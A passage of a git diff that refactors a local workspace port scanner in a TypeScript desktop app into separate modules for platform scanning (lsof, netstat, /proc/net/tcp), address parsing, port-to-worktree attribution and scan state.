+    const stateIndex = fields.findIndex((field) => field.toUpperCase() === 'LISTENING')
+    if (stateIndex < 2) {
+      continue
+    }
+    const parsed = parseAddressWithPort(fields[1])
+    const pid = Number.parseInt(fields[stateIndex + 1] ?? '', 10)
+    if (!parsed) {
+      continue
+    }
+    ports.push({ ...parsed, pid: Number.isFinite(pid) ? pid : undefined })
+  }
+  return dedupeRawPorts(ports)
+}
+
+export function parseProcNetTcp(content: string): { host: string; port: number; inode: number }[] {
+  const results: { host: string; port: number; inode: number }[] = []
+  const lines = content.split('\n')
+  for (let i = 1; i < lines.length; i++) {
+    const fields = getProcessOutputFields(lines[i], 10)
+    if (fields.length < 10 || fields[3] !== '0A') {
+      continue
+    }
+    const parsed = parseProcAddress(fields[1])
+    const inode = Number.parseInt(fields[9], 10)
+    if (!parsed || !Number.isFinite(inode) || inode === 0) {
+      continue
+    }
+    results.push({ ...parsed, inode })
+  }
+  return results
+}
+
+export async function scanPlatformListeningPorts(
+  options: WorkspacePortScanOptions
+): Promise<PlatformListeningPortScan> {
+  const scan = await dispatchPlatformListeningPortScan(options)
+  if (scan.metadataAvailable) {
+    rememberListenerMetadata(scan.ports)
+    return scan
+  }
+  return { ...scan, ports: scan.ports.map(recallListenerMetadata) }
+}
+
+async function dispatchPlatformListeningPortScan(
+  options: WorkspacePortScanOptions
+): Promise<PlatformListeningPortScan> {
+  if (process.platform === 'linux') {
+    return scanLinuxProcPorts()
+  }
+  if (process.platform === 'darwin') {
+    return scanDarwinLsofPorts(options)
+  }
+  if (process.platform === 'win32') {
+    return scanWindowsNetstatPorts(options)
+  }
+  throw new Error(`Port scanning is not supported on ${process.platform}`)
+}
+
+async function scanDarwinLsofPorts(
+  options: WorkspacePortScanOptions
+): Promise<PlatformListeningPortScan> {
+  const { stdout, spawnMs } = await runPortScanCommand('lsof', [
+    '-nP',
+    '-iTCP',
+    '-sTCP:LISTEN',
+    '-F',
+    'pcn'
+  ])
+  const ports = parseLsofListeningOutput(stdout)
+  if (shouldSkipMetadataCommands(spawnMs, options)) {
+    return { ports, metadataAvailable: false }
+  }
+  const metadata = await loadDarwinProcessMetadata(
+    new Set(ports.flatMap((p) => (p.pid ? [p.pid] : [])))
+  )
+  return {
+    ports: ports.map((port) => ({ ...metadata.get(port.pid ?? -1), ...port })),
+    metadataAvailable: true
+  }
+}
+
+async function scanWindowsNetstatPorts(
+  options: WorkspacePortScanOptions
+): Promise<PlatformListeningPortScan> {
+  const { stdout, spawnMs } = await runPortScanCommand('netstat', ['-ano', '-p', 'tcp'])
+  const ports = parseNetstatListeningOutput(stdout)
+  if (shouldSkipMetadataCommands(spawnMs, options)) {
+    return { ports, metadataAvailable: false }
+  }
+  const metadata = await loadWindowsProcessMetadata(
+    new Set(ports.flatMap((p) => (p.pid ? [p.pid] : [])))
+  )
+  return {
+    ports: ports.map((port) => ({ ...metadata.get(port.pid ?? -1), ...port })),
+    metadataAvailable: true
+  }
+}
+
+async function scanLinuxProcPorts(): Promise<PlatformListeningPortScan> {
+  const [tcp4, tcp6] = await Promise.all([
+    readProcNet('/proc/net/tcp'),
+    readProcNet('/proc/net/tcp6')
+  ])
+  const sockets = [...tcp4, ...tcp6]
+  const inodeToPid = await mapLinuxInodesToPids(new Set(sockets.map((socket) => socket.inode)))
+  const metadata = new Map<number, ProcessMetadata>()
+  const rawPorts: RawListeningPort[] = []
+
+  for (const socket of sockets) {
+    const pid = inodeToPid.get(socket.inode)
+    if (pid != null && !metadata.has(pid)) {
+      metadata.set(pid, await loadLinuxProcessMetadata(pid))
+    }
+    rawPorts.push({
+      host: socket.host,
+      port: socket.port,
+      pid,
+      ...metadata.get(pid ?? -1)
+    })
+  }
+
+  return { ports: dedupeRawPorts(rawPorts), metadataAvailable: true }
+}
+
+async function readProcNet(
+  filePath: string
+): Promise<{ host: string; port: number; inode: number }[]> {
+  try {
+    return parseProcNetTcp(await readFile(filePath, 'utf-8'))
+  } catch {
+    return []
+  }
+}
+
+async function mapLinuxInodesToPids(inodes: Set<number>): Promise<Map<number, number>> {
+  const result = new Map<number, number>()
+  if (inodes.size === 0) {
+    return result
+  }
+  let pids: string[]
+  try {
+    pids = (await readdir('/proc')).filter((entry) => /^\d+$/.test(entry))
+  } catch {
+    return result
+  }
+
+  for (const pidText of pids) {
+    let fds: string[]
+    try {
+      fds = await readdir(`/proc/${pidText}/fd`)
+    } catch {
+      continue
+    }
+    const pid = Number.parseInt(pidText, 10)
+    for (const fd of fds) {
+      let link: string
+      try {
+        link = await readlink(`/proc/${pidText}/fd/${fd}`)
+      } catch {
+        continue
+      }
+      const match = link.match(/^socket:\[(\d+)\]$/)
+      if (!match) {
+        continue
+      }
+      const inode = Number.parseInt(match[1], 10)
+      if (inodes.has(inode)) {
+        result.set(inode, pid)
+      }
+    }
+  }
+  return result
+}
+
+async function loadLinuxProcessMetadata(pid: number): Promise<ProcessMetadata> {
+  const [comm, cmdline, cwd] = await Promise.all([
+    readTextIfAvailable(`/proc/${pid}/comm`),
+    readTextIfAvailable(`/proc/${pid}/cmdline`),
+    readlink(`/proc/${pid}/cwd`).catch(() => undefined)
+  ])
+  return {
+    processName: comm?.trim() || undefined,
+    commandLine: cmdline?.split('\u0000').join(' ').trim() || undefined,
+    cwd
+  }
+}
+
+async function loadDarwinProcessMetadata(pids: Set<number>): Promise<Map<number, ProcessMetadata>> {
+  const result = new Map<number, ProcessMetadata>()
+  const pidList = Array.from(pids).join(',')
+  if (!pidList) {
+    return result
+  }
+
+  // Why (#11161): sequential, not Promise.all — the probe worker dispatches one
+  // command at a time, so issuing both at once would only queue the second.
+  const cwdOutput = await runPortScanCommand('lsof', [
+    '-a',
+    '-p',
+    pidList,
+    '-d',
+    'cwd',
+    '-Fn'
+  ]).catch(() => null)
+  const commandOutput = await runPortScanCommand('ps', [
+    '-p',
+    pidList,
+    '-o',
+    'pid=',
+    '-o',
+    'command='
+  ]).catch(() => null)
+
+  let currentPid: number | null = null
+  for (const line of cwdOutput?.stdout.split('\n') ?? []) {
+    if (line.startsWith('p')) {
+      const pid = Number.parseInt(line.slice(1), 10)
+      currentPid = Number.isFinite(pid) ? pid : null
+    } else if (line.startsWith('n') && currentPid != null) {
+      result.set(currentPid, { ...result.get(currentPid), cwd: line.slice(1) || undefined })
+    }
+  }
+
+  for (const line of commandOutput?.stdout.split('\n') ?? []) {
+    const match = line.match(/^\s*(\d+)\s+(.+)$/)
+    if (!match) {
+      continue
+    }
+    const pid = Number.parseInt(match[1], 10)
+    result.set(pid, { ...result.get(pid), commandLine: match[2].trim() || undefined })
+  }
+
+  return result
+}
+
+async function loadWindowsProcessMetadata(
+  pids: Set<number>
+): Promise<Map<number, ProcessMetadata>> {
+  const result = new Map<number, ProcessMetadata>()
+  if (pids.size === 0) {
+    return result
+  }
+  try {
+    // Why the native snapshot: attributing ports used to fork a powershell.exe
+    // per scan just to turn PIDs into names. That is a ~700ms cold start, a
+    // conhost window, and one more thing a Group Policy can block -- for data
+    // the panel treats as optional anyway.
+    for (const row of await readWindowsProcessTable()) {
+      if (pids.has(row.pid)) {
+        result.set(row.pid, {
+          processName: row.name,
+          commandLine: row.command || undefined
+        })
+      }
+    }
+  } catch {
+    // Process metadata is optional; port rows still render without attribution.
+  }
+  return result
+}
+
+async function readTextIfAvailable(filePath: string): Promise<string | undefined> {
+  try {
+    return await readFile(filePath, 'utf-8')
+  } catch {
+    return undefined
+  }
+}
diff --git a/src/main/ports/local-workspace-port-address.ts b/src/main/ports/local-workspace-port-address.ts
new file mode 100644
index 00000000000..77b6e0b0b19
--- /dev/null
+++ b/src/main/ports/local-workspace-port-address.ts
@@ -0,0 +1,71 @@
+import type { RawListeningPort } from './local-workspace-port-scan-state'
+
+export function connectHostForBindHost(host: string): string {
+  if (host === '*' || host === '0.0.0.0' || host === '::') {
+    return 'localhost'
+  }
+  return host
+}
+
+export function dedupeRawPorts(ports: RawListeningPort[]): RawListeningPort[] {
+  const seen = new Set<string>()
+  const result: RawListeningPort[] = []
+  for (const port of ports) {
+    const key = `${connectHostForBindHost(port.host)}:${port.port}:${port.pid ?? 'unknown'}`
+    if (seen.has(key)) {
+      continue
+    }
+    seen.add(key)
+    result.push(port)
+  }
+  return result
+}
+
+export function parseAddressWithPort(value: string): { host: string; port: number } | null {
+  const trimmed = value.trim().replace(/\s+\(LISTEN\)$/i, '')
+  const bracketed = trimmed.match(/^\[([^\]]+)\]:(\d+)$/)
+  if (bracketed) {
+    return { host: bracketed[1], port: Number.parseInt(bracketed[2], 10) }
+  }
+  const match = trimmed.match(/^(.+):(\d+)$/)
+  if (!match) {
+    return null
+  }
+  const port = Number.parseInt(match[2], 10)
+  if (!Number.isFinite(port) || port <= 0 || port > 65535) {
+    return null
+  }
+  return { host: match[1], port }
+}
+
+export function parseProcAddress(hexAddress: string): { host: string; port: number } | null {
+  const [addrHex, portHex] = hexAddress.split(':')
+  const port = Number.parseInt(portHex, 16)
+  if (!Number.isFinite(port) || port === 0) {
+    return null
+  }
+  if (addrHex.length === 8) {
+    const bytes = [6, 4, 2, 0].map((index) => Number.parseInt(addrHex.slice(index, index + 2), 16))
+    return { host: bytes.join('.'), port }
+  }
+  if (addrHex.length === 32) {
+    if (addrHex === '00000000000000000000000000000000') {
+      return { host: '::', port }
+    }
+    if (addrHex === '00000000000000000000000001000000') {
+      return { host: '::1', port }
+    }
+    return { host: formatIPv6Address(addrHex), port }
+  }
+  return null
+}
+
+function formatIPv6Address(hex: string): string {
+  const groups: string[] = []
+  for (let i = 0; i < 32; i += 8) {
+    const chunk = hex.slice(i, i + 8)
+    const reversed = chunk.slice(6, 8) + chunk.slice(4, 6) + chunk.slice(2, 4) + chunk.slice(0, 2)
+    groups.push(reversed.slice(0, 4), reversed.slice(4, 8))
+  }
+  return groups.map((group) => group.replace(/^0+/, '') || '0').join(':')
+}
diff --git a/src/main/ports/local-workspace-port-attribution.ts b/src/main/ports/local-workspace-port-attribution.ts
new file mode 100644
index 00000000000..21180a512e1
--- /dev/null
+++ b/src/main/ports/local-workspace-port-attribution.ts
@@ -0,0 +1,210 @@
+import path from 'node:path'
+import type {
+  WorkspacePort,
+  WorkspacePortOwner,
+  WorkspacePortProbe
+} from '../../shared/workspace-ports'
+import type { AdvertisedUrlWatcher } from './advertised-url-watcher'
+import { connectHostForBindHost } from './local-workspace-port-address'
+import type {
+  NormalizedWorkspacePortProbe,
+  RawListeningPort
+} from './local-workspace-port-scan-state'
+
+const HTTP_PORTS: Record<number, true> = {
+  80: true,
+  3000: true,
+  3001: true,
+  4200: true,
+  5000: true,
+  5173: true,
+  5174: true,
+  8000: true,
+  8080: true,
+  8888: true
+}
+const HTTPS_PORTS: Record<number, true> = { 443: true, 8443: true }
+
+export function attributePortToWorkspace(
+  port: Pick<RawListeningPort, 'cwd' | 'commandLine'>,
+  worktrees: WorkspacePortProbe[]
+): WorkspacePortOwner | undefined {
+  return attributePortToNormalizedWorkspaces(port, normalizeWorkspacePortProbes(worktrees))
+}
+
+export function normalizeWorkspacePortProbes(
+  worktrees: readonly WorkspacePortProbe[]
+): NormalizedWorkspacePortProbe[] {
+  return worktrees.map((worktree) => ({
+    worktree,
+    normalizedPath: normalizeComparablePath(worktree.path)
+  }))
+}
+
+function attributePortToNormalizedWorkspaces(
+  port: Pick<RawListeningPort, 'cwd' | 'commandLine'>,
+  worktrees: readonly NormalizedWorkspacePortProbe[]
+): WorkspacePortOwner | undefined {
+  const cwd = port.cwd ? normalizeComparablePath(port.cwd) : null
+  const commandLine = port.commandLine ? normalizeComparableText(port.commandLine) : null
+
+  const cwdMatch = cwd
+    ? pickDeepestMatching(worktrees, ({ normalizedPath }) =>
+        isSameOrDescendant(cwd, normalizedPath)
+      )
+    : undefined
+  if (cwdMatch) {
+    return toOwner(cwdMatch.worktree, 'cwd')
+  }
+
+  if (!commandLine) {
+    return undefined
+  }
+
+  const commandMatch = pickDeepestMatching(worktrees, ({ normalizedPath }) =>
+    includesPathBoundary(commandLine, normalizedPath)
+  )
+  return commandMatch ? toOwner(commandMatch.worktree, 'command') : undefined
+}
+export function enrichPort(
+  port: RawListeningPort,
+  worktrees: readonly NormalizedWorkspacePortProbe[],
+  urlWatcher: Pick<AdvertisedUrlWatcher, 'lookup'>
+): WorkspacePort {
+  const owner = attributePortToNormalizedWorkspaces(port, worktrees)
+  const base = {
+    id: `${port.host}:${port.port}:${port.pid ?? 'unknown'}`,
+    bindHost: port.host,
+    connectHost: connectHostForBindHost(port.host),
+    port: port.port,
+    pid: port.pid,
+    processName: port.processName,
+    protocol: inferProtocol(port.port)
+  }
+
+  if (owner) {
+    // Why: only enrich workspace-attributed ports. Container and external
+    // ports may have URLs printed in unrelated terminals — the worktree
+    // scoping is the primary false-positive filter.
+    const advertised = urlWatcher.lookup(owner.worktreeId, port.port, port.pid)
+    return {
+      ...base,
+      protocol: advertised?.protocol ?? base.protocol,
+      kind: 'workspace',
+      owner,
+      ...(advertised ? { advertisedUrl: advertised.origin } : {})
+    }
+  }
+  if (isContainerProcess(port)) {
+    return { ...base, kind: 'container' }
+  }
+  return { ...base, kind: 'external' }
+}
+
+export function reconcileAdvertisedUrls(
+  ports: RawListeningPort[],
+  worktrees: readonly NormalizedWorkspacePortProbe[],
+  urlWatcher: Pick<AdvertisedUrlWatcher, 'reconcileScan'>
+): void {
+  const observationsByWorktree = new Map<string, { port: number; pid?: number }[]>()
+  for (const worktree of worktrees) {
+    observationsByWorktree.set(worktree.worktree.id, [])
+  }
+  for (const port of ports) {
+    const owner = attributePortToNormalizedWorkspaces(port, worktrees)
+    if (!owner) {
+      continue
+    }
+    observationsByWorktree.get(owner.worktreeId)?.push({ port: port.port, pid: port.pid })
+  }
+  for (const [worktreeId, observations] of observationsByWorktree) {
+    // Why: the scanner sees port disappearance and PID changes before a lazy
+    // lookup would otherwise pin a stale banner to a new listener.
+    urlWatcher.reconcileScan([worktreeId], observations)
+  }
+}
+
+export function compareWorkspacePorts(a: WorkspacePort, b: WorkspacePort): number {
+  const aRank = a.kind === 'workspace' ? 0 : a.kind === 'container' ? 1 : 2
+  const bRank = b.kind === 'workspace' ? 0 : b.kind === 'container' ? 1 : 2
+  return aRank - bRank || a.port - b.port || a.connectHost.localeCompare(b.connectHost)
+}
+
+function inferProtocol(port: number): 'http' | 'https' | 'unknown' {
+  if (HTTPS_PORTS[port] === true) {
+    return 'https'
+  }
+  if (HTTP_PORTS[port] === true) {
+    return 'http'
+  }
+  return 'unknown'
+}
+
+export function isContainerProcess(
+  port: Pick<RawListeningPort, 'processName' | 'commandLine'>
+): boolean {
+  const haystack = `${port.processName ?? ''} ${port.commandLine ?? ''}`.toLowerCase()
+  return /\b(com\.[\w.-]+\.backend|com\.container\w*|container\w*)\b/.test(haystack)
+}
+
+function toOwner(
+  worktree: WorkspacePortProbe,
+  confidence: WorkspacePortOwner['confidence']
+): WorkspacePortOwner {
+  return {
+    worktreeId: worktree.id,
+    repoId: worktree.repoId,
+    displayName: worktree.displayName,
+    path: worktree.path,
+    confidence
+  }
+}
+
+function pickDeepestMatching<T extends { normalizedPath: string }>(
+  candidates: readonly T[],
+  predicate: (candidate: T) => boolean
+): T | undefined {
+  let best: T | undefined
+  for (const candidate of candidates) {
+    if (!predicate(candidate)) {
+      continue
+    }
+    if (!best || candidate.normalizedPath.length > best.normalizedPath.length) {
+      best = candidate
+    }
+  }
+  return best
+}
+
+function isSameOrDescendant(candidate: string, parent: string): boolean {
+  return candidate === parent || candidate.startsWith(`${parent}/`)
+}
+
+function includesPathBoundary(commandLine: string, normalizedPath: string): boolean {
+  let index = commandLine.indexOf(normalizedPath)
+  while (index !== -1) {
+    const before = index === 0 ? '' : commandLine[index - 1]
+    const after = commandLine[index + normalizedPath.length] ?? ''
+    const startsOnBoundary = before === '' || /\s|["'=]/.test(before)
+    const endsOnBoundary = after === '' || /[\s"'/:]/.test(after)
+    if (startsOnBoundary && endsOnBoundary) {
+      return true
+    }
+    index = commandLine.indexOf(normalizedPath, index + normalizedPath.length)
+  }
+  return false
+}
+
+function normalizeComparablePath(input: string): string {
+  if (input.startsWith('/')) {
+    // Why: command-line evidence for SSH/WSL/POSIX workspaces can be evaluated
+    // on a Windows host; path.resolve would reinterpret "/repo" as "G:/repo".
+    return normalizeComparableText(path.posix.resolve(input))
+  }
+  return normalizeComparableText(path.resolve(input))
+}
+
+function normalizeComparableText(input: string): string {
+  const normalized = input.replace(/\\/g, '/').replace(/\/+/g, '/')
+  return process.platform === 'win32' ? normalized.toLowerCase() : normalized
+}
diff --git a/src/main/ports/local-workspace-port-scan-state.ts b/src/main/ports/local-workspace-port-scan-state.ts
new file mode 100644
index 00000000000..582e8b9731e
--- /dev/null
+++ b/src/main/ports/local-workspace-port-scan-state.ts
@@ -0,0 +1,122 @@
+import type { WorkspacePortScanResult, WorkspacePortProbe } from '../../shared/workspace-ports'
+import { isPortScanWorkerUnavailableError } from './port-scan-command-client'
+import { PortScanCommandTimeoutError } from './port-scan-command-protocol'
+import {
+  WorkspacePortScanTimeoutBackoff,
+  type WorkspacePortScanTimeoutBackoffSnapshot
+} from './workspace-port-scan-timeout-backoff'
+
+const SLOW_SPAWN_SKIP_METADATA_MS = 2_000
+const commandTimeoutBackoff = new WorkspacePortScanTimeoutBackoff()
+let loggedWorkerUnavailable = false
+let skippedMetadataOnLastScan = false
+let lastListenerMetadata = new Map<string, ProcessMetadata>()
+
+export type WorkspacePortScanOptions = {
+  requireMetadata?: boolean
+}
+
+export type RawListeningPort = {
+  host: string
+  port: number
+  pid?: number
+  processName?: string
+  commandLine?: string
+  cwd?: string
+}
+
+export type ProcessMetadata = {
+  processName?: string
+  commandLine?: string
+  cwd?: string
+}
+
+export type NormalizedWorkspacePortProbe = {
+  worktree: WorkspacePortProbe
+  normalizedPath: string
+}
+
+export type PlatformListeningPortScan = {
+  ports: RawListeningPort[]
+  metadataAvailable: boolean
+}
+
+export function getWorkspacePortScanCooldown(): WorkspacePortScanTimeoutBackoffSnapshot {
+  return commandTimeoutBackoff.snapshot()
+}
+
+export function recordWorkspacePortScanSuccess(): void {
+  commandTimeoutBackoff.recordSuccess()
+}
+
+export function recordWorkspacePortScanTimeout(): void {
+  commandTimeoutBackoff.recordTimeout()
+}
+
+export function resetWorkspacePortScanTimeoutBackoffForTests(): void {
+  commandTimeoutBackoff.reset()
+  loggedWorkerUnavailable = false
+  skippedMetadataOnLastScan = false
+  lastListenerMetadata = new Map()
+}
+
+export function shouldSkipMetadataCommands(
+  spawnMs: number,
+  options: WorkspacePortScanOptions
+): boolean {
+  if (options.requireMetadata) {
+    return false
+  }
+  const skip = spawnMs > SLOW_SPAWN_SKIP_METADATA_MS && !skippedMetadataOnLastScan
+  skippedMetadataOnLastScan = skip
+  return skip
+}
+
+function listenerMetadataKey(port: RawListeningPort): string {
+  return `${port.pid ?? 'unknown'}:${port.host}:${port.port}`
+}
+
+export function rememberListenerMetadata(ports: readonly RawListeningPort[]): void {
+  lastListenerMetadata = new Map(
+    ports.map((port) => [
+      listenerMetadataKey(port),
+      { processName: port.processName, commandLine: port.commandLine, cwd: port.cwd }
+    ])
+  )
+}
+
+export function recallListenerMetadata(port: RawListeningPort): RawListeningPort {
+  const remembered = lastListenerMetadata.get(listenerMetadataKey(port))
+  if (!remembered) {
+    return port
+  }
+  return {
+    ...port,
+    processName: port.processName ?? remembered.processName,
+    commandLine: port.commandLine ?? remembered.commandLine,
+    cwd: port.cwd ?? remembered.cwd
+  }
+}
+
+export function warnWorkspacePortScanFailure(error: unknown): void {
+  if (isPortScanWorkerUnavailableError(error)) {
+    if (loggedWorkerUnavailable) {
+      return
+    }
+    loggedWorkerUnavailable = true
+  }
+  console.warn('[workspace-ports] scan failed', error)
+}
+
+export function isWorkspacePortScanCommandTimeout(error: unknown): boolean {
+  return error instanceof PortScanCommandTimeoutError
+}
+
+export function makeUnavailableWorkspacePortScan(reason: string): WorkspacePortScanResult {
+  return {
+    platform: process.platform,
+    scannedAt: Date.now(),
+    ports: [],
+    unavailableReason: reason
+  }
+}
diff --git a/src/main/ports/local-workspace-port-scanner.test.ts b/src/main/ports/local-workspace-port-scanner.test.ts
index 132eba1950e..be37ad60eb3 100644
--- a/src/main/ports/local-workspace-port-scanner.test.ts
+++ b/src/main/ports/local-workspace-port-scanner.test.ts
@@ -1,14 +1,13 @@
 import { afterEach, describe, expect, it, vi, type Mock } from 'vitest'
 import path from 'node:path'
+import { scanWorkspacePorts } from './local-workspace-port-scanner'
+import { attributePortToWorkspace, isContainerProcess } from './local-workspace-port-attribution'
 import {
-  attributePortToWorkspace,
-  isContainerProcess,
   parseLsofListeningOutput,
   parseNetstatListeningOutput,
-  parseProcNetTcp,
-  resetWorkspacePortScanTimeoutBackoffForTests,
-  scanWorkspacePorts
-} from './local-workspace-port-scanner'
+  parseProcNetTcp
+} from './local-workspace-platform-port-scanner'
+import { resetWorkspacePortScanTimeoutBackoffForTests } from './local-workspace-port-scan-state'
 import { PortScanCommandTimeoutError } from './port-scan-command-protocol'
 
 const runPortScanCommandMock = vi.hoisted(() => vi.fn())
diff --git a/src/main/ports/local-workspace-port-scanner.ts b/src/main/ports/local-workspace-port-scanner.ts
index 66373db6929..7af3e8bba3c 100644
--- a/src/main/ports/local-workspace-port-scanner.ts
+++ b/src/main/ports/local-workspace-port-scanner.ts
@@ -1,81 +1,31 @@
-/* eslint-disable max-lines -- Why: the platform-specific scan paths share parsing,
-attribution, and normalization rules that must stay in lockstep. */
-import { readFile, readdir, readlink } from 'node:fs/promises'
-import path from 'node:path'
-import type {
-  WorkspacePort,
-  WorkspacePortOwner,
-  WorkspacePortProbe,
-  WorkspacePortScanResult
-} from '../../shared/workspace-ports'
-import { getProcessOutputFields } from '../../shared/process-output-field-scanner'
-import { readWindowsProcessTable } from '../windows/windows-process-table'
+import type { WorkspacePortProbe, WorkspacePortScanResult } from '../../shared/workspace-ports'
 import { advertisedUrlWatcher, type AdvertisedUrlWatcher } from './advertised-url-watcher'
-import { isPortScanWorkerUnavailableError, runPortScanCommand } from './port-scan-command-client'
-import { PortScanCommandTimeoutError } from './port-scan-command-protocol'
-import { WorkspacePortScanTimeoutBackoff } from './workspace-port-scan-timeout-backoff'
-
-// Why (#11161): on an EDR-hooked host process creation alone can take seconds.
-// Past this, skip the scan's optional metadata commands for one cycle so a scan
-// costs roughly one stall instead of three.
-const SLOW_SPAWN_SKIP_METADATA_MS = 2_000
+import {
+  compareWorkspacePorts,
+  enrichPort,
+  normalizeWorkspacePortProbes,
+  reconcileAdvertisedUrls
+} from './local-workspace-port-attribution'
+import { scanPlatformListeningPorts } from './local-workspace-platform-port-scanner'
+import {
+  getWorkspacePortScanCooldown,
+  isWorkspacePortScanCommandTimeout,
+  makeUnavailableWorkspacePortScan,
+  recordWorkspacePortScanSuccess,
+  recordWorkspacePortScanTimeout,
+  warnWorkspacePortScanFailure,
+  type WorkspacePortScanOptions
+} from './local-workspace-port-scan-state'
 const MAX_PORTS = 200
-const HTTP_PORTS = new Set([80, 3000, 3001, 4200, 5000, 5173, 5174, 8000, 8080, 8888])
-const HTTPS_PORTS = new Set([443, 8443])
-
-const commandTimeoutBackoff = new WorkspacePortScanTimeoutBackoff()
-let loggedWorkerUnavailable = false
-// Why (#11161): a hooked host stalls every spawn, so gating only on the current
-// scan would drop metadata forever. Never skip twice running, so attribution —
-// and the Stop action and advertised-URL matching that ride on it — recovers on
-// the next tick.
-let skippedMetadataOnLastScan = false
-// Why (#11161): a skipped cycle would otherwise report every listener as
-// external, so the panel flip-flops and the Stop action loses its owner. Carry
-// the previous cycle's metadata forward, keyed tightly enough that a recycled
-// pid cannot inherit it.
-let lastListenerMetadata = new Map<string, ProcessMetadata>()
-
-export type WorkspacePortScanOptions = {
-  /** Set by attribution-dependent callers (Stop, the localhost-label allowlist)
-   *  that must never trade owner metadata for scan latency. */
-  requireMetadata?: boolean
-}
-
-type RawListeningPort = {
-  host: string
-  port: number
-  pid?: number
-  processName?: string
-  commandLine?: string
-  cwd?: string
-}
-
-type ProcessMetadata = {
-  processName?: string
-  commandLine?: string
-  cwd?: string
-}
-
-type NormalizedWorkspacePortProbe = {
-  worktree: WorkspacePortProbe
-  normalizedPath: string
-}
-
-type PlatformListeningPortScan = {
-  ports: RawListeningPort[]
-  /** False when a stalled spawn made the scan skip its cwd/command-line probes. */
-  metadataAvailable: boolean
-}
 
 export async function scanWorkspacePorts(
   worktrees: WorkspacePortProbe[],
   urlWatcher: Pick<AdvertisedUrlWatcher, 'lookup' | 'reconcileScan'> = advertisedUrlWatcher,
   options: WorkspacePortScanOptions = {}
 ): Promise<WorkspacePortScanResult> {
-  const cooldown = commandTimeoutBackoff.snapshot()
+  const cooldown = getWorkspacePortScanCooldown()
   if (cooldown.isCoolingDown) {
-    return makeUnavailableScan(
+    return makeUnavailableWorkspacePortScan(
       `Port scanning is temporarily paused after a command timeout. Retrying in ${Math.ceil(
         cooldown.remainingMs / 1000
       )}s.`
@@ -84,7 +34,7 @@ export async function scanWorkspacePorts(
 
   try {
     const { ports: rawPorts, metadataAvailable } = await scanPlatformListeningPorts(options)
-    commandTimeoutBackoff.recordSuccess()
+    recordWorkspacePortScanSuccess()
     const normalizedWorktrees = normalizeWorkspacePortProbes(worktrees)
     // Why (#11161): without cwd/command-line every port looks unattributed, and
     // reconciling that would read as "the listener vanished" and evict cached
@@ -98,639 +48,10 @@ export async function scanWorkspacePorts(
       .slice(0, MAX_PORTS)
     return { platform: process.platform, scannedAt: Date.now(), ports }
   } catch (error) {
-    if (isCommandTimeoutError(error)) {
-      commandTimeoutBackoff.recordTimeout()
+    if (isWorkspacePortScanCommandTimeout(error)) {
+      recordWorkspacePortScanTimeout()
     }
-    warnScanFailure(error)
-    return makeUnavailableScan(`Port scanning is unavailable on ${process.platform}.`)
+    warnWorkspacePortScanFailure(error)
+    return makeUnavailableWorkspacePortScan(`Port scanning is unavailable on ${process.platform}.`)
   }
 }
-
-export function resetWorkspacePortScanTimeoutBackoffForTests(): void {
-  commandTimeoutBackoff.reset()
-  loggedWorkerUnavailable = false
-  skippedMetadataOnLastScan = false
-  lastListenerMetadata = new Map()
-}
-
-function shouldSkipMetadataCommands(spawnMs: number, opts: WorkspacePortScanOptions): boolean {
-  if (opts.requireMetadata) {
-    // Leave the skip parity alone: it belongs to the background scan cadence,
-    // and a one-shot user action must not shift which tick degrades.
-    return false
-  }
-  const skip = spawnMs > SLOW_SPAWN_SKIP_METADATA_MS && !skippedMetadataOnLastScan
-  skippedMetadataOnLastScan = skip
-  return skip
-}
-
-/** Identity tight enough that a recycled pid cannot inherit stale metadata. */
-function listenerMetadataKey(port: RawListeningPort): string {
-  return `${port.pid ?? 'unknown'}:${port.host}:${port.port}`
-}
-
-function rememberListenerMetadata(ports: readonly RawListeningPort[]): void {
-  lastListenerMetadata = new Map(
-    ports.map((port) => [
-      listenerMetadataKey(port),
-      { processName: port.processName, commandLine: port.commandLine, cwd: port.cwd }
-    ])
-  )
-}
-
-function recallListenerMetadata(port: RawListeningPort): RawListeningPort {
-  const remembered = lastListenerMetadata.get(listenerMetadataKey(port))
-  if (!remembered) {
-    return port
-  }
-  return {
-    ...port,
-    processName: port.processName ?? remembered.processName,
-    commandLine: port.commandLine ?? remembered.commandLine,
-    cwd: port.cwd ?? remembered.cwd
-  }
-}
-
-// Why: a mispackaged probe worker fails identically forever, so logging it on
-// every 30s scan tick is pure noise.
-function warnScanFailure(error: unknown): void {
-  if (isPortScanWorkerUnavailableError(error)) {
-    if (loggedWorkerUnavailable) {
-      return
-    }
-    loggedWorkerUnavailable = true
-  }
-  console.warn('[workspace-ports] scan failed', error)
-}
-
-function makeUnavailableScan(reason: string): WorkspacePortScanResult {
-  return {
-    platform: process.platform,
-    scannedAt: Date.now(),
-    ports: [],
-    unavailableReason: reason
-  }
-}
-
-export function attributePortToWorkspace(
-  port: Pick<RawListeningPort, 'cwd' | 'commandLine'>,
-  worktrees: WorkspacePortProbe[]
-): WorkspacePortOwner | undefined {
-  return attributePortToNormalizedWorkspaces(port, normalizeWorkspacePortProbes(worktrees))
-}
-
-function normalizeWorkspacePortProbes(
-  worktrees: readonly WorkspacePortProbe[]
-): NormalizedWorkspacePortProbe[] {
-  return worktrees.map((worktree) => ({
-    worktree,
-    normalizedPath: normalizeComparablePath(worktree.path)
-  }))
-}
-
-function attributePortToNormalizedWorkspaces(
-  port: Pick<RawListeningPort, 'cwd' | 'commandLine'>,
-  worktrees: readonly NormalizedWorkspacePortProbe[]
-): WorkspacePortOwner | undefined {
-  const cwd = port.cwd ? normalizeComparablePath(port.cwd) : null
-  const commandLine = port.commandLine ? normalizeComparableText(port.commandLine) : null
-
-  const cwdMatch = cwd
-    ? pickDeepestMatching(worktrees, ({ normalizedPath }) =>
-        isSameOrDescendant(cwd, normalizedPath)
-      )
-    : undefined
-  if (cwdMatch) {
-    return toOwner(cwdMatch.worktree, 'cwd')
-  }
-
-  if (!commandLine) {
-    return undefined
-  }
-
-  const commandMatch = pickDeepestMatching(worktrees, ({ normalizedPath }) =>
-    includesPathBoundary(commandLine, normalizedPath)
-  )
-  return commandMatch ? toOwner(commandMatch.worktree, 'command') : undefined
-}
-
-export function parseLsofListeningOutput(output: string): RawListeningPort[] {
-  const ports: RawListeningPort[] = []
-  let currentPid: number | undefined
-  let currentProcessName: string | undefined
-
-  for (const line of output.split('\n')) {
-    if (!line) {
-      continue
-    }
-    const tag = line[0]
-    const value = line.slice(1)
-    if (tag === 'p') {
-      const pid = Number.parseInt(value, 10)
-      currentPid = Number.isFinite(pid) ? pid : undefined
-      currentProcessName = undefined
-    } else if (tag === 'c') {
-      currentProcessName = value
-    } else if (tag === 'n') {
